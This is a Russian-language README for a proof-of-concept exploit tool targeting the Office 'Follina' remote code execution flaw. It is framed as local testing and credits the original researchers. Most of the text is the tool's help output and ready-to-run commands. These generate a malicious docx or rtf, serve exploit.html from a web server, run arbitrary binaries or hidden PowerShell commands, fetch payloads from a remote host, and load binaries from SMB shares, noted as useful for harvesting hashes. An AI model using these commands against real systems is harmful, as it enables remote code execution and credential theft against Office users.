
PoC для воспроизведения полной уязвимости Office RCE «Follina» в целях тестирования
Быстрый POC для воспроизведения уязвимости «Follina» Office RCE в целях локального тестирования. Запуск скрипта создаст файл полезной нагрузки clickme.docx (или clickme.rtf) в вашем текущем рабочем каталоге и запустит веб-сервер с файлом полезной нагрузки (www/exploit.html). Параметры полезной нагрузки и веб-сервера настраиваются (см. справку и примеры).
⚠ НЕ ИСПОЛЬЗУЙТЕ В ПРОДАКШЕНЕ, ЕСЛИ НЕ ХОТИТЕ, ЧТОБЫ ВАС СЧИТАЛИ БОЛВАНОМ
$ python .\follina.py -h
usage: follina.py [-h] -m {command,binary} [-b BINARY] [-c COMMAND] -t {rtf,docx} [-u URL] [-H HOST] [-P PORT]
options:
-h, --help show this help message and exit
Required Arguments:
-m {command,binary}, --mode {command,binary}
Execution mode, can be "binary" to load a (remote) binary, or "command" to run an encoded PS command
Binary Execution Arguments:
-b BINARY, --binary BINARY
The full path of the binary to run. Can be local or remote from an SMB share
Command Execution Arguments:
-c COMMAND, --command COMMAND
The encoded command to execute in "command" mode
Optional Arguments:
-t {rtf,docx}, --type {rtf,docx}
The type of payload to use, can be "docx" or "rtf"
-u URL, --url URL The hostname or IP address where the generated document should retrieve your payload, defaults to "localhost". Disables web server if custom URL scheme or path are specified
-H HOST, --host HOST The interface for the web server to listen on, defaults to all interfaces (0.0.0.0)
-P PORT, --port PORT The port to run the HTTP server on, defaults to 80
# Запуск локального бинарного файла
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe
# В Linux, возможно, придётся экранировать обратные слеши
python .\follina.py -t rtf -m binary -b \\windows\\system32\\calc.exe
# Запуск бинарного файла из файлового ресурса (можно использовать для сбора хэшей 👀)
python .\follina.py -t docx -m binary -b \\localhost\c$\windows\system32\calc.exe
# Выполнение произвольной команды PowerShell
python .\follina.py -t rtf -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"
# Запуск веб-сервера на интерфейсе по умолчанию (все интерфейсы, 0.0.0.0), но указание вредоносному документу загружать его по адресу http://1.2.3.4/exploit.html
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe -u 1.2.3.4
# Запуск веб-сервера только на localhost, на порту 8080 вместо 80
python .\follina.py -t rtf -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080
Спасибо Kevin Beaumont за его оригинальный анализ этой проблемы, @KevTheHermit за публикацию своего POC и John Hammond за его дальнейшую работу по анализу требований к полезной нагрузке. Дополнительная благодарность @mkolsek за шаблон с поддержкой Office 2019, а также @theluemmel за предоставленную мне версию полезной нагрузки.